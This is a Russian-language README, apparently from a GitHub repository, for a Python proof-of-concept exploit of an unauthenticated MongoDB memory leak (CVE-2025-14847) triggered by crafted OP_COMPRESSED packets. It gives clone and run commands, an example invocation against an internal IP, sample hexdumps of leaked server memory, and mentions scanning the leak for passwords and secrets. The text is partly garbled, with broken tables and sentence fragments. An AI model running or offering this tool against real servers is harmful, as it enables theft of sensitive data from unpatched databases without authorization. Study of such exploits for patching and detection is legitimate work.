
CVE-2025-14847 – эксплойт утечки памяти MongoDB без аутентификации
Эксплойт типа proof‑of‑concept (PoC) для уязвимости zlib-декомпрессии MongoDB, которая позволяет неаутентифицированным злоумышленникам читать чувствительные данные из памяти сервера.
PoC реализован на Python 3 и демонстрирует, как вредоносный пакет OP_COMPRESSED может инициировать срабатывание ошибки, заставляя MongoDB возвращать неинициализированную память в качестве BSON-данных.
Уязвимость вызвана ошибкой в декомпрессии zlib-сообщений MongoDB:
uncompressedSize.PoC отправляет специально сформированный пакет OP_COMPRESSED и анализирует ответ об ошибке от сервера, чтобы восстановить фрагменты утёкших данных.
| Компонент | Версия | Примечания |
|---|---|---|
| Python | ≥ 3.8 | Скрипт работает только на Python 3 |
| MongoDB | ≥ 4.4 | Целевой сервер должен быть уязвим к CVE‑2025‑14847 |
| Необязательно |
# Clone the repo (or copy the script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847
# (Optional) Install required Python packages
pip install -r requirements.txt
python exploit.py [OPTIONS]
Пример:
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin
$ python3 exploit.py
11:02:41 CVE-2025-14847 INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847 INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:41 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847 INFO │ 00000000: 20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b | object with unk|
11:02:41 CVE-2025-14847 INFO │ 00000010: 6e 6f 77 6e 20 5f 69 64 |nown _id|
11:02:41 CVE-2025-14847 INFO │ [+] offset= 39 len= 24:
11:02:45 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:45 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847 INFO │ 00000000: 73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67 |s skipped during|
11:02:45 CVE-2025-14847 INFO │ 00000010: 20 74 72 65 65 20 77 61 6c 6b | tree walk|
11:02:45 CVE-2025-14847 INFO │ [+] offset=3064 len= 26:
11:02:50 CVE-2025-14847 INFO │ Offset Hex ASCII
....
11:02:50 CVE-2025-14847 INFO │ [+] offset=6663 len= 38:
11:02:52 CVE-2025-14847 SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847 SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847 SUCCESS │ [*] Saved to: leaked.bin
Скрипт записывает в журнал каждый интересный фрагмент (длина > 10 байт) и выводит hexdump. Все утёкшие данные добавляются в файл leaked.bin.

[+] offset= <doc_len> len= <len> указывают, где был найден фрагмент.password, secret и т. д.), найденных в утёкших данных.Данный PoC предоставляется «как есть» без каких-либо гарантий. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным скриптом. Используйте его на свой страх и риск.
requirements.txt |
| Предоставлен в репозитории |
| Параметр | По умолчанию | Описание |
|---|
--host | localhost | Целевой хост MongoDB |
--port | 27017 | Целевой порт MongoDB |
--min-offset | 20 | Минимальная длина документа для проверки |
--max-offset | 8192 | Максимальная длина документа для проверки |
--output | leaked.bin | Файл, в который сохраняются утёкшие данные |